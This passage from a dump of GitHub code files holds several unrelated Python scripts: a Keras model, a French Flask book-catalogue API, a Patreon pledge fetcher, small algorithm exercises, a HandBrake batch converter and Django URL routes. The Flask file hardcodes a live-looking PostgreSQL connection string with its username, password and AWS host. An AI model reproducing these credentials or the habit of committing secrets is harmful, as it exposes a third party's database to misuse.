Input(shape=(1,))\n output_feature = Dense(1)(input_feature) \n # option: try other encoding, e.g., (cos, sin)\n else:\n # features we want to embed\n input_feature = Input(shape=(1,))\n orig_dim, em_dim = em_size[fname]\n output_feature = Embedding(orig_dim, em_dim, name=fname+'_em')(input_feature)\n output_feature = Reshape(target_shape=(em_dim,))(output_feature)\n input_model.append(input_feature)\n output_embeddings.append(output_feature)\n \n output_model = Concatenate()(output_embeddings)\n output_model = Dense(1000, kernel_initializer=\"uniform\")(output_model)\n output_model = Activation('relu')(output_model)\n output_model = Dense(500, kernel_initializer=\"uniform\")(output_model)\n output_model = Activation('relu')(output_model)\n output_model = Dense(1)(output_model)\n output_model = Activation('sigmoid')(output_model)\n # build the model\n self.model = KerasModel(inputs=input_model, outputs=output_model)\n self.model.compile(loss='mean_absolute_error', optimizer='adam')\n \n \n def _val_for_fit(self, val):\n val = np.log(val) / self.max_log_y # for y, apply log and then scale to [0, 1]\n return val\n\n def _val_for_pred(self, val):\n return np.exp(val * self.max_log_y) # for y_hat, scale back and apply exp\n\n def fit(self, X_train, y_train, X_val, y_val):\n # didn't use callbacks, so validation set is not used for training embeddings. for fair comparison.\n self.model.fit(self.preprocessing(X_train), self._val_for_fit(y_train),\n validation_data=(self.preprocessing(X_val), self._val_for_fit(y_val)),\n epochs=self.epochs, batch_size=128,\n # callbacks=[self.checkpointer],\n )\n # self.model.load_weights('best_model_weights.hdf5')\n # print(\"Result on validation data: \", self.evaluate(X_val, y_val))\n\n def guess(self, features):\n features = self.preprocessing(features)\n result = self.model.predict(features).flatten()\n return self._val_for_pred(result)\n\n\nclass NN(Model):\n\n def __init__(self, X_train, y_train, X_val, y_val, epochs=10):\n super().__init__()\n self.epochs = epochs\n self.checkpointer = ModelCheckpoint(filepath=\"best_model_weights.hdf5\", verbose=1, save_best_only=True)\n self.max_log_y = max(np.max(np.log(y_train)), np.max(np.log(y_val)))\n self.__build_keras_model()\n self.fit(X_train, y_train, X_val, y_val)\n\n def __build_keras_model(self):\n self.model = Sequential()\n self.model.add(Dense(1000, kernel_initializer=\"uniform\", input_dim=1183))\n self.model.add(Activation('relu'))\n self.model.add(Dense(500, kernel_initializer=\"uniform\"))\n self.model.add(Activation('relu'))\n self.model.add(Dense(1))\n self.model.add(Activation('sigmoid'))\n\n self.model.compile(loss='mean_absolute_error', optimizer='adam')\n\n def _val_for_fit(self, val):\n val = np.log(val) / self.max_log_y\n return val\n\n def _val_for_pred(self, val):\n return np.exp(val * self.max_log_y)\n\n def fit(self, X_train, y_train, X_val, y_val):\n self.model.fit(X_train, self._val_for_fit(y_train),\n validation_data=(X_val, self._val_for_fit(y_val)),\n epochs=self.epochs, batch_size=128,\n # callbacks=[self.checkpointer],\n )\n # self.model.load_weights('best_model_weights.hdf5')\n print(\"Result on validation data: \", self.evaluate(X_val, y_val))\n\n def guess(self, features):\n result = self.model.predict(features).flatten()\n return self._val_for_pred(result)\n","repo_name":"yingzwang/cat-embedding","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":13705,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"73317702885","text":"import os\nfrom urllib.parse import quote_plus\nfrom flask import Flask, jsonify, abort, redirect, request, url_for\nfrom flask_sqlalchemy import SQLAlchemy\nfrom dotenv import load_dotenv\n#from flask_cors import CORS\n\n\nload_dotenv()\n\napp = Flask(__name__)\n\npassword = quote_plus(str(os.getenv('db_password')))\nhost = os.getenv('hostname')\napp.config['SQLALCHEMY_DATABASE_URI'] = 'postgresql://cmqrxaoprpisab:2492e1c72cb546fe05518e36460d5d8495dedb07fa7e708eeba5e142e0488067@ec2-52-207-74-100.compute-1.amazonaws.com:5432/d2sar5mi3d1ho2'\n# permet de refuser mes warning dans le code sur le serveur flask\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\n\ndb = SQLAlchemy(app)\n#CORS(app, resources={r\"*/api/*\" : {origins: '*'}})\n\n\"\"\"\nCORS(app)\n@app.after_request\ndef after_request(response):\n response.headers.add('Access-Control-Allow-Headers',\n 'Content-Type, Authorization')\n response.headers.add('Access-Control-Allow-Methods',\n 'GET, POST, PATCH, DELETE, OPTIONS')\n\n\"\"\"\n########################################################################################\n#\n# Classe Categorie\n#\n########################################################################################\n\n\nclass Categorie(db.Model):\n __tablename__ = 'categories'\n\n id_cat = db.Column(db.Integer, primary_key=True)\n libelle = db.Column(db.String(50), nullable=False, unique=True)\n\n def format(self):\n return {\n 'id_cat': self.id_cat,\n 'libelle': self.libelle\n }\n\n def insert(self):\n db.session.add(self)\n db.session.commit()\n\n def update(self):\n db.session.commit()\n\n def delete(self):\n db.session.delete(self)\n db.session.commit()\n\n\n########################################################################################\n#\n# Classe Livre\n#\n########################################################################################\nclass Livre(db.Model):\n __tablename__ = 'livres'\n\n id = db.Column(db.Integer, unique=True, primary_key=True)\n isbn = db.Column(db.String(15), unique=True)\n titre = db.Column(db.String(100), nullable=False)\n date = db.Column(db.Date, nullable=False)\n auteur = db.Column(db.String(100), nullable=False)\n editeur = db.Column(db.String(100), nullable=True)\n id_cat = db.Column(db.Integer, db.ForeignKey(\n 'categories.id_cat'), nullable=False)\n\n def format(self):\n return {\n 'isbn': self.isbn,\n 'id': self.id,\n 'auteur': self.auteur,\n 'date': self.date,\n 'editeur': self.editeur,\n 'titre': self.titre,\n 'id_cat': self.id_cat\n }\n\n def __eq__(self, other): \n if not isinstance(other, Livre):\n # don't attempt to compare against unrelated types\n return NotImplemented\n\n return self.id == other.id and self.isbn == other.isbn and self.auteur==other.auteur and self.date==other.date and self.editeur==other.auteur and self.titre==other.titre and self.id_cat==other.id_cat\n\n def insert(self):\n db.session.add(self)\n db.session.commit()\n\n def update(self):\n db.session.commit()\n\n def delete(self):\n db.session.delete(self)\n db.session.commit()\n\n\n#db.create_all()\n\n'''\nLes endpoints de l'API\n\nGET /categorie (liste de toutes catégories)\nGET /categorie/id (sélectionner une catégorie en particulier)\nPOST /categorie (créer une nouvelle catégorie)\nPATCH /categorie/id (Modifier une catégorie)\nDELETE /categorie/id (Supprimer une catégorie)\n\nGET /livres (liste de tous les livres)\nGET /livres/id (sélectionner un livre en particulier)\nGET /categories/id/livres (liste des livre d'une catégorie donnée)\nDELETE /livres/id (supprimer un livre)\nPATCH /livres/id (modifier les informations d'un livre)\n\n'''\n\n########################################################################################\n#\n# Endpoint GET /categories (liste de toutes catégories)liste de toutes les catégories\n#\n########################################################################################\n\n\n@app.route('/categories')\ndef get_all_categories():\n\n return jsonify({\n 'success': True,\n 'total categories': Categorie.query.count(),\n 'categories': [cat.format() for cat in Categorie.query.all()]\n })\n\n\n########################################################################################\n#\n# Endpoint une catégorie en particulier'\n#\n########################################################################################\n\n@app.route('/categories/')\ndef get_one_categorie(id_cat):\n # requete SQLAlchemy pour sélectionner une catégorie\n cat = Categorie.query.get(id_cat)\n\n # On vérifie si la catégorie existe\n if cat is None:\n abort(404) # 404 est le status code pour dire que la ressource n'existe pas\n # Si la catégorie existe alors on le retourne\n else:\n return jsonify({\n 'success': True,\n 'selected_id': id_cat,\n 'categorie': cat.format()\n })\n\n\n########################################################################################\n#\n# Endpoint ajouter une catégorie\n#\n########################################################################################\n@app.route('/categories', methods=['POST'])\ndef create_categorie():\n # recupération des informations qui seront envoyées dans un format json\n body = request.get_json()\n new_libel = body.get('libelle')\n\n cat = Categorie(libelle=new_libel)\n cat.insert()\n\n return jsonify({\n 'success': True,\n 'total categories': Categorie.query.count(),\n 'categories': [ct.format() for ct in Categorie.query.all()]\n })\n\n########################################################################################\n#\n# Endpoint supprimer une categorie\n#\n########################################################################################\n\n\n@app.route('/categories/', methods=['DELETE'])\ndef delete_categorie(id_cat):\n cat = Categorie.query.get(id_cat)\n\n if cat is None:\n abort(404)\n else:\n cat.delete()\n\n return jsonify({\n 'success': True,\n 'deleted id': id_cat,\n 'deleted categorie': cat.format(),\n 'total categories': Categorie.query.count()\n })\n\n\n########################################################################################\n#\n# Endpoint modifier une categorie\n#\n########################################################################################\n@app.route('/categories/', methods=['PATCH'])\ndef update_categorie(id_cat):\n # recupération de la categorie à modifier\n cat = Categorie.query.get(id_cat)\n\n if cat is None:\n abort(404)\n else:\n\n old_cat = Categorie(id_cat=cat.id_cat, libelle=cat.libelle)\n # recupération des informations qui seront envoyées dans un format json et modification de l'étudiant\n body = request.get_json()\n cat.libelle = body.get('libelle', None)\n\n cat.update()\n\n return jsonify({\n 'success': True,\n 'before updated' : old_cat.format(),\n 'after updated': cat.format()\n })\n\n\n\"\"\"\nGET /livres (liste de tous les livres)\nGET /livres/id (sélectionner un livre en particulier)\nGET /categories/id/livres (liste des livre d'une catégorie donnée)\nDELETE /livres/id (supprimer un livre)\nPATCH /livres/id (modifier les informations d'un livre)\n\n\"\"\"\n\n########################################################################################\n#\n# Endpoint GET /livres (liste de tous les livres)\n#\n########################################################################################\n\n\n@app.route('/livres')\ndef get_all_livres():\n\n return jsonify({\n 'success': True,\n 'total livres': Livre.query.count(),\n 'livres': [lv.format() for lv in Livre.query.all()]\n })\n\n\n########################################################################################\n#\n# GET /livres/id (sélectionner un livre en particulier)\n#\n########################################################################################\n\n@app.route('/livres/')\ndef get_one_livre(id):\n # requete SQLAlchemy pour sélectionner un livre\n book = Livre.query.get(id)\n\n # On vérifie si le livre existe\n if book is None:\n abort(404) # 404 est le status code pour dire que la ressource n'existe pas\n # Si le livre existe alors on le retourne\n else:\n return jsonify({\n 'success': True,\n 'selected id': id,\n 'livre': book.format()\n })\n\n\n########################################################################################\n#\n# Endpoint ajouter un livre\n#\n########################################################################################\n@app.route('/livres', methods=['POST'])\ndef create_livre():\n # recupération des informations qui seront envoyées dans un format json\n body = request.get_json()\n\n book = Livre(\n isbn=body.get('isbn'),\n titre=body.get('titre', None),\n date=body.get('date', None),\n auteur=body.get('auteur', None),\n editeur=body.get('editeur', None),\n id_cat=body.get('id_cat', None)\n )\n\n book.insert()\n\n return jsonify({\n 'success': True,\n 'total livres': Livre.query.count(),\n 'livres': [bk.format() for bk in Livre.query.all()]\n })\n\n########################################################################################\n#\n# DELETE /livres/id (supprimer un livre)\n#\n########################################################################################\n\n\n@app.route('/livres/', methods=['DELETE'])\ndef delete_livre(id):\n book = Livre.query.get(id)\n\n if book is None:\n abort(404)\n else:\n book.delete()\n\n return jsonify({\n 'success': True,\n 'deleted id': id,\n 'deleted livre': book.format(),\n 'total livre': Livre.query.count()\n })\n\n\n########################################################################################\n#\n# PATCH /livres/id (modifier les informations d'un livre)\n#\n########################################################################################\n@app.route('/livres/', methods=['PATCH'])\ndef update_livre(id):\n # recupération de la categorie à modifier\n book = Livre.query.get(id)\n\n if book is None:\n abort(404)\n else:\n # sauvegarde de l'ancienne version\n old_book = Livre(id=book.id, isbn=book.isbn, titre=book.titre, \n date=book.date, auteur=book.auteur, editeur=book.editeur,\n id_cat=book.id_cat)\n\n # recupération des informations qui seront envoyées dans un format json et modification de l'étudiant\n body = request.get_json()\n book.isbn = body.get('isbn',old_book.isbn)\n book.titre = body.get('titre', old_book.titre)\n book.date = body.get('date', old_book.date)\n book.auteur = body.get('auteur', old_book.auteur)\n book.editeur = body.get('editeur', old_book.editeur)\n book.id_cat = body.get('id_cat', old_book.id_cat)\n\n if book == old_book:\n abort(400)\n else:\n book.update()\n\n return jsonify({\n 'success': True,\n 'before updated': old_book.format(),\n 'after updated' : book.format()\n })\n\n########################################################################################\n#\n# GET /categories/id/livres (liste des livre d'une catégorie donnée)\n#\n########################################################################################\n\n\n@app.route('/categories//livres')\ndef get_livres_categorie(id_cat):\n books = Livre.query.filter_by(id_cat=id_cat)\n\n return jsonify({\n 'success': True,\n 'selected categorie': id_cat,\n 'livres': [book.format() for book in books]\n })\n\n\n@app.errorhandler(404)\ndef not_found(error):\n return jsonify({\n \"success\": False,\n \"error\": 404,\n \"message\": \"Not Found\"\n }), 404\n\n\n@app.errorhandler(500)\ndef not_found(error):\n return jsonify({\n \"success\": False,\n \"error\": 500,\n \"message\": \"Internal Server Error\"\n }), 500\n\n\n@app.errorhandler(400)\ndef not_found(error):\n return jsonify({\n \"success\": False,\n \"error\": 400,\n \"message\": \"Bad Request\"\n }), 400\n\n\n@app.errorhandler(403)\ndef not_found(error):\n return jsonify({\n \"success\": False,\n \"error\": 403,\n \"message\": \"Not Allowed\"\n }), 403\n\n@app.errorhandler(503)\ndef not_found(error):\n return jsonify({\n \"success\": False,\n \"error\": 503,\n \"message\": \"Service unavailable\"\n }), 503\n\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n","repo_name":"DarkBrain-LP/library-api","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":13186,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"37147314274","text":"from os import environ\nimport requests\n\nROOT = \"https://www.patreon.com/api/oauth2/api\"\nPATRONS = ROOT + \"/campaigns/{0}/pledges?fields%5Bpledge%5D=total_historical_amount_cents,is_paused\"\n\n\ndef fetch_patrons(campaign: str = None, token: str = None):\n if not campaign:\n campaign = _get_env(\"PATREON_CAMPAIGN\")\n if not token:\n token = _get_env(\"PATREON_TOKEN\")\n\n headers = {\n \"User-Agent\": \"patron-exporter/1.0.0\",\n \"From\": \"https://github.com/Fakas\",\n \"Authorization\": f\"Bearer {token}\"\n }\n url = PATRONS.format(campaign)\n\n patrons = []\n while True:\n response = requests.get(url, headers=headers)\n response.raise_for_status()\n\n page = response.json()\n for item in page[\"data\"]:\n if item[\"type\"] == \"pledge\":\n paused = item[\"attributes\"][\"is_paused\"]\n lifetime_amount = item[\"attributes\"][\"total_historical_amount_cents\"] / 100\n user_id = item[\"relationships\"][\"patron\"][\"data\"][\"id\"]\n reward_id = item[\"relationships\"][\"reward\"][\"data\"][\"id\"]\n tier = None\n created = None\n name = None\n\n for included in page[\"included\"]:\n if included[\"id\"] == user_id:\n created = included[\"attributes\"][\"created\"]\n name = included[\"attributes\"][\"full_name\"]\n continue\n if included[\"id\"] == reward_id:\n tier = included[\"attributes\"][\"title\"]\n if tier and name:\n break # Break early if all information is obtained\n\n patron = {\n \"paused\": paused,\n \"lifetime_amount\": lifetime_amount,\n \"user_id\": user_id,\n \"reward_id\": reward_id,\n \"tier\": tier,\n \"created\": created,\n \"name\": name\n }\n patrons.append(patron)\n else:\n continue\n if \"next\" in page[\"links\"].keys():\n url = page[\"links\"][\"next\"]\n else:\n break\n\n return patrons\n\n\ndef _get_env(key):\n try:\n return environ[key]\n except KeyError:\n raise EnvironmentError(f\"Environment variable \\\"{key}\\\" is not set!\") from None\n","repo_name":"MCazaly/servey-api-patrons","sub_path":"app/patreon/patrons.py","file_name":"patrons.py","file_ext":"py","file_size_in_byte":2398,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"40574602931","text":"class Solution:\n def searchMatrix(self, matrix: List[List[int]], target: int) -> bool:\n fin = []\n for i in matrix:\n if target<=i[-1]:\n fin = i\n break\n if not fin:\n return False\n left = 0\n right = len(fin)-1\n while left<=right:\n mid = (left+right)//2\n if fin[mid]target:\n right = mid-1\n else:\n return True\n return False","repo_name":"samiabat/LeetCode-Challenge","sub_path":"74-search-a-2d-matrix/74-search-a-2d-matrix.py","file_name":"74-search-a-2d-matrix.py","file_ext":"py","file_size_in_byte":549,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"16191065561","text":"from colors import bcolors\n\"\"\"This function encodes a string to binary\"\"\" \n\ndef encode(s):\n \n encoded_binary_string = \"\" \n\n \"\"\"Looping through each character\"\"\"\n\n for c in s:\n ascii_value = ord(c)\n binary_string = bin(ascii_value)[2:]\n\n \"\"\"Prepending 0s to make length 7\"\"\"\n\n while(len(binary_string)<7):\n binary_string = \"0\" + binary_string\n \n encoded_binary_string = encoded_binary_string + binary_string\n \n \"\"\"Displaying the process of encoding\"\"\" \n\n print(\"***** Encoding Process ******\")\n print(bcolors.BOLD + bcolors.OKGREEN + \"String to encode : \" + bcolors.ENDC + s)\n print(bcolors.BOLD + bcolors.OKGREEN + \"Encoded string : \"+ bcolors.ENDC + str(encoded_binary_string))\n print(\"*****************************\\n\")\n\n \"\"\"Returning the encoded string\"\"\"\n\n return encoded_binary_string\n\n\n# This call below should decode to '1001000110010111011001101100110111101000001100111111010111110011110011' , Uncomment to test\n# encode(\"Hello guys\")\n\n \n\n\n\n\n\n \n \n\n \n ","repo_name":"niranjansy/Cryptography-Project","sub_path":"Cryptography_Utilities/encode.py","file_name":"encode.py","file_ext":"py","file_size_in_byte":1082,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"3750722177","text":"import time\nfrom concurrent.futures import ThreadPoolExecutor, ProcessPoolExecutor\n\nNUMBERS = [ (1963309, 2265973), (2030677, 3814172), (1551645, 2229620),\n (2039045, 2020802), (1823712, 1924928), (2293129, 1020491),\n (1281238, 2273782), (3823812, 4237281), (3812741, 4729139),\n (1292391, 2123811),\n] * 10\n\n\n# 暴力GCD\ndef gcd(pair):\n a, b = pair\n low = min(a, b)\n for i in range(low, 0, -1):\n if a % i == 0 and b % i == 0:\n return i\n\n\ndef main():\n start = time.time()\n results = list(map(gcd, NUMBERS))\n end = time.time()\n delta = end - start\n print(f\"Token {delta:.3f} seconds\")\n\n\ndef main_thread():\n start = time.time()\n with ThreadPoolExecutor(max_workers=8) as executor:\n results = list(executor.map(gcd, NUMBERS))\n end = time.time()\n delta = end - start\n print(f\"Thread token {delta:.3f} seconds\")\n\n\ndef main_process():\n start = time.time()\n with ProcessPoolExecutor(max_workers=8) as executor:\n results = list(executor.map(gcd, NUMBERS))\n end = time.time()\n delta = end - start\n print(f\"Processing token {delta:.3f} seconds\")\n\n\nif __name__ == \"__main__\":\n main()\n main_thread()\n main_process()\n\n","repo_name":"hangxuu/Notes-and-Blog","sub_path":"codes/effective_python/item64/item64.py","file_name":"item64.py","file_ext":"py","file_size_in_byte":1231,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"52"} +{"seq_id":"32792118019","text":"# DFS iterative using adjacency list\n# from https://www.geeksforgeeks.org/iterative-depth-first-traversal/\n\nclass Graph:\n def __init__(self, v):\n self.graph = [[] for i in range(v)]\n self.v = v\n\n def add_edge(self, u, v):\n self.graph[u].append(v)\n\n def dfs(self, cb):\n for i in range(self.v):\n if not visited[i]:\n self.do_dfs_one(i, visited, cb)\n\n def dfs_one(self, start, cb):\n visited = [False] * self.v\n self.do_dfs_one(start, visited, cb)\n\n def do_dfs_one(self, start, visited, cb):\n stack = []\n stack.append(start)\n while len(stack) > 0:\n current = stack.pop()\n if not visited[current]:\n cb(current)\n visited[current] = True\n for i in reversed(self.graph[current]):\n if not visited[i]:\n stack.append(i)\n\ndef mycallback(v):\n print('{0} '.format(v), end='')\n\nif __name__ == '__main__':\n v = int(input())\n e = int(input())\n starter = int(input())\n g = Graph(v)\n while e > 0:\n u, w = map(int, input().split(' '))\n g.add_edge(u, w)\n e -= 1\n #g.dfs(mycallback)\n g.dfs_one(starter, mycallback)\n print()\n","repo_name":"shepardo/geeksforgeeks","sub_path":"graphs/dfs-iterative/dfs-iterative2.py","file_name":"dfs-iterative2.py","file_ext":"py","file_size_in_byte":1250,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"41678987717","text":"import os.path\nimport platform\nimport shutil\nimport subprocess\nfrom os import path, walk\nfrom os.path import expanduser\n\njournal = \"journal.log\"\n\n'''\n~ is the user home \n- expanduser(~) will determine the correct user home regardless of the operating system\n\nso the path will be \n~/Convert/Result \nand \n~/Convert/Source\nrespectively\n'''\ntarget_path = expanduser(path.join(\"~\", \"Convert\", \"Result\"))\nsource_path = expanduser(path.join(\"~\", \"Convert\", \"Source\"))\n\nhandbrakeCLI_path = \"HandBrakeCLI\"\n'''\nHandbrakeCLI needs to be downloaded seperately\n\n@See https://handbrake.fr/downloads2.php\n\nIf you're using windows, move the binary next to your \"HandBrake.exe\"\nShould be default to \"C:\\Program Files\\HandBrake\"\n'''\n\nvalid_endings = [\"mkv\", \"m4v\", \"mp4\"]\n\nblacklist = [\".avi\", \".VOB\", \".IFO\", \".BUP\"]\n'''\nFile endings which will be queued for conversion\n'''\n\nselected_container = 1\n'''\nIndex for the target container file. 0 based\n'''\ncontainer = [\"av_mp4\", \"av_mkv\", \"av_webm\"]\ncontainer_filetype = [\"mp4\", \"mkv\", \"webm\"]\n\nfallback_audio = [\"he-aac\", \"aac\"]\n'''\nhe-aac is the higher quality audio codec but only available on macos.\n'''\n\nselected_encoder = 1\nencoder = [\"x265\", \"x265_10bit\", \"x265_12bit\"]\n'''\nx265 encoders.\n10 bit has a quality improvement over the 8 bit standard x265 regarding rounding errors\nSo the default will be 10bit\n'''\n\nvideo_quality = \"20\"\n'''\nVideo options for quality 20 (lower number for higher quality).\nIf using the quality options, --two-pass is not necessary\n'''\nselected_encoder_preset = 4\nencoder_preset = [\"ultrafast\", \"superfast\", \"veryfast\", \"faster\", \"medium\", \"slow\", \"slower\", \"veryslow\", \"placebo\"]\nvideo_options_template = \"--encoder {codec} --quality {quality} --encoder-preset {encoder_preset}\"\n\naudio_options_template = \"--audio 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 --aencoder copy --audio-fallback {audio_fallback} \"\n'''\naudio options. audio tracks which aren't present will be skipped, so just enumerate from 1 to 15\ncopy all audio tracks and if not possible use fallback audio\n'''\n\nsubtitles_options = \"--subtitle 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 \"\n'''\nSame as audio options. Tracks which aren't present will be skipped, so just enumerate from 1 to 15\n'''\n\n\ndef get_audio_fallback():\n \"\"\"\n If this script is running on mac os, use the higher quality fallback 'he-aac' codec.\n Otherwise default to \"normal\" 'aac'\n \"\"\"\n system = platform.system()\n if system == 'Darwin':\n return fallback_audio[0]\n return fallback_audio[1]\n\n\ndef main():\n files_to_convert, files_to_copy = find_files()\n os.makedirs(target_path, exist_ok=True)\n\n \"\"\"\n Copy non-convertible files to the result directory to keep the folder and file structure.\n Will copy things like thumbnails and subtitles\n \"\"\"\n copy_non_convert_files(files_to_copy, target_path)\n\n for file in files_to_convert:\n convert_file = check_journal(file, target_path)\n\n if convert_file:\n target_dir = path.dirname(file).replace(source_path, target_path)\n target = create_target_filename(path.join(target_dir, path.basename(file)))\n os.makedirs(target_dir, exist_ok=True)\n if path.isfile(target):\n os.remove(target)\n\n cmd = create_command(file, target)\n\n subprocess.run(cmd)\n write_journal(file, target_path)\n\n else:\n print(\"Skipping \" + str(file))\n\n\ndef write_journal(file, real_path):\n journal_file = open(path.join(real_path, journal), 'a+')\n journal_file.write(path.basename(file) + '\\n')\n journal_file.close()\n\n\ndef create_command(file, target):\n input_arg = [\"--input\", file]\n output_arg = [\"--output\", target]\n format_arg = [\"--format\", container[selected_container]]\n markers_arg = [\"--markers\"]\n file_cmd = input_arg + output_arg + format_arg + markers_arg\n video_options = video_options_template\n video_cmd = video_options.format(codec=encoder[selected_encoder],\n quality=video_quality,\n encoder_preset=encoder_preset[selected_encoder_preset]).split()\n\n audio_options = audio_options_template\n audio_cmd = audio_options.format(audio_fallback=get_audio_fallback()).split()\n subtitle_cmd = subtitles_options.split()\n\n cmd = [get_handbrake_path()] + file_cmd + video_cmd + audio_cmd + subtitle_cmd\n print(cmd)\n return cmd\n\n\ndef get_handbrake_path():\n bin_not_found = \"Could not find the {} binary\".format(handbrakeCLI_path)\n system = platform.system()\n if system == \"Darwin\":\n if path.isfile(handbrakeCLI_path):\n return handbrakeCLI_path\n location = subprocess.check_output([\"where\", handbrakeCLI_path])\n if location == handbrakeCLI_path + \" not found\":\n raise ValueError(bin_not_found)\n return location\n elif system == \"Windows\":\n if path.isfile(handbrakeCLI_path):\n return handbrakeCLI_path\n else:\n bin_path = path.join(\"C:\\\\\", \"Program Files\", \"Handbrake\", \"HandBrakeCLI.exe\")\n if os.path.isfile(bin_path):\n return bin_path\n else:\n raise ValueError(bin_not_found)\n elif system == \"Linux\":\n location = subprocess.check_output([\"which\", handbrakeCLI_path])\n if str(location).startswith(\"which: no \" + handbrakeCLI_path + \" in \"):\n raise ValueError(bin_not_found)\n return location\n\n\ndef create_target_filename(target):\n split = str(target).split(\".\")\n ending = split[len(split) - 1]\n target = target.replace(\".\" + ending, \".\" + container_filetype[selected_container])\n target = target.replace(\"h264\", \"h265\")\n return target\n\n\ndef check_journal(file, real_path):\n \"\"\"\n If the file is already registered in the journal the script will not\n attempt to convert it again\n \"\"\"\n try:\n with open(path.join(real_path, journal)) as f:\n lines = f.readlines()\n for line in lines:\n if line.startswith(path.basename(file)):\n print(path.basename(file) + \" was already processed. Skipping ...\")\n return False\n except FileNotFoundError:\n return True\n return True\n\n\ndef copy_non_convert_files(files_to_copy, temp_path):\n for file in files_to_copy:\n extension = os.path.splitext(file)\n if extension in blacklist:\n print(\"Skipping file \" + file)\n\n else:\n source = \"\"\n if temp_path.endswith(\"\\\\\"):\n source = source_path\n else:\n source = source_path + \"\\\\\"\n\n target = \"\"\n if temp_path.endswith(\"\\\\\"):\n target = target_path\n else:\n target = target_path + \"\\\\\"\n\n target_dir = path.dirname(file).replace(source, target)\n os.makedirs(target_dir, exist_ok=True)\n\n target = path.join(target_dir, path.basename(file))\n\n if not path.exists(target):\n try:\n shutil.copyfile(file, target)\n print(\"Copied \" + file + \" to \" + target)\n except PermissionError:\n print(\"Failed to copy \" + file + \" to \" + target)\n print(\"Permission denied\")\n\n\ndef find_files():\n files_to_convert = []\n files_to_copy = []\n for (dirpath, _, filenames) in walk(source_path):\n\n for filename in filenames:\n split = str(filename).split(\".\")\n if split[len(split) - 1] in valid_endings:\n files_to_convert.append(path.join(dirpath, filename))\n elif not str(filename).startswith(\".\"):\n files_to_copy.append(path.join(dirpath, filename))\n\n return files_to_convert, files_to_copy\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"Cuupa/video_tools","sub_path":"HandBrake.py","file_name":"HandBrake.py","file_ext":"py","file_size_in_byte":7849,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"21059212450","text":"\"\"\"guard URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/3.0/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\n\nfrom django.conf.urls import url, include\nfrom rest_framework_jwt.views import obtain_jwt_token\n\nfrom monitor.views import JobViewset, GitInfoViewset, ScriptViewset\nfrom users.views import *\nfrom rest_framework.documentation import include_docs_urls\nfrom rest_framework.routers import DefaultRouter\n\nrouter = DefaultRouter()\n# 配置注册的URL\nrouter.register('register', UserRegViewset, basename='register')\n\n# # Job信息\nrouter.register('job', JobViewset, basename='monitorJob')\n\n# # 获取git信息\nrouter.register('getUrl', GitInfoViewset, basename='getUrl')\n\nurlpatterns = [\n url(r'', include(router.urls)),\n # 创建API文档\n url(r'docs/', include_docs_urls(title=\"测试平台\")),\n # jwt的认证接口\n url(r'^login/', obtain_jwt_token),\n # 获取用户信息\n url(r'^getInfo/', UserViewset.as_view({'get': 'retrieve'})),\n # 获取用户列表\n url(r'^getUserList/', UserViewset.as_view({'get': 'list'})),\n\n # 获取git info数据入库\n url(r'^gitInfo/', GitInfoViewset.as_view({'get': 'git_info'}), name=\"gitInfo\"),\n\n # 获取项目 info数据入库\n url(r'^projectInfo/', GitInfoViewset.as_view({'get': 'project_info'}), name=\"projectInfo\"),\n\n url(r'^start_script/', ScriptViewset.as_view({'post': 'start_script'}), name=\"start_script\"),\n\n url(r'^stop_script/', ScriptViewset.as_view({'get': 'stop_script'}), name=\"stop_script\"),\n\n\n\n url(r'^deleteUser/', UserViewset.as_view(\n {'post': 'destroy'})),\n\n]\n","repo_name":"wenkejiang/guard","sub_path":"guard/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2103,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"30306759949","text":"\nfrom django.conf.urls import url\n#from restaurants.views import ContactView, HomeView, AboutView\nfrom .views import (\n\t#restaurant_listView,\n\tRestaurantListView,\n\tRestaurantDetailView,\n\t#restaurant_createview,\n\tRestaurantCreateView,\n RestaurantUpdateView\n )\nurlpatterns = [\n url(r'^create/$', RestaurantCreateView.as_view(), name='create'),\n #url(r'^restaurants/create/$', restaurant_createview) ,\n #url(r'^(?P[\\w-]+)/edit/$', RestaurantUpdateView.as_view(), name='edit'),\n #url(r'^(?P\\w+)/$', RestaurantDetailView.as_view(), name='detail'),\n url(r'^(?P[\\w-]+)/$', RestaurantUpdateView.as_view(), name='detail'),\n url(r'$', RestaurantListView.as_view(), name='list'),\n\n]\n","repo_name":"kaanu07/Resturant-menu-app","sub_path":"djangoproject/restaurants/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":717,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"11051960526","text":"import math\r\nimport vmlib.regtypes as r\r\n\r\ndef powr(Arg1, Arg2):\r\n\r\n ValueOut = Arg1\r\n\r\n for l in range(Arg2-1):\r\n ValueOut *= Arg1\r\n\r\n return ValueOut\r\n\r\nclass Ram:\r\n def __init__(self, 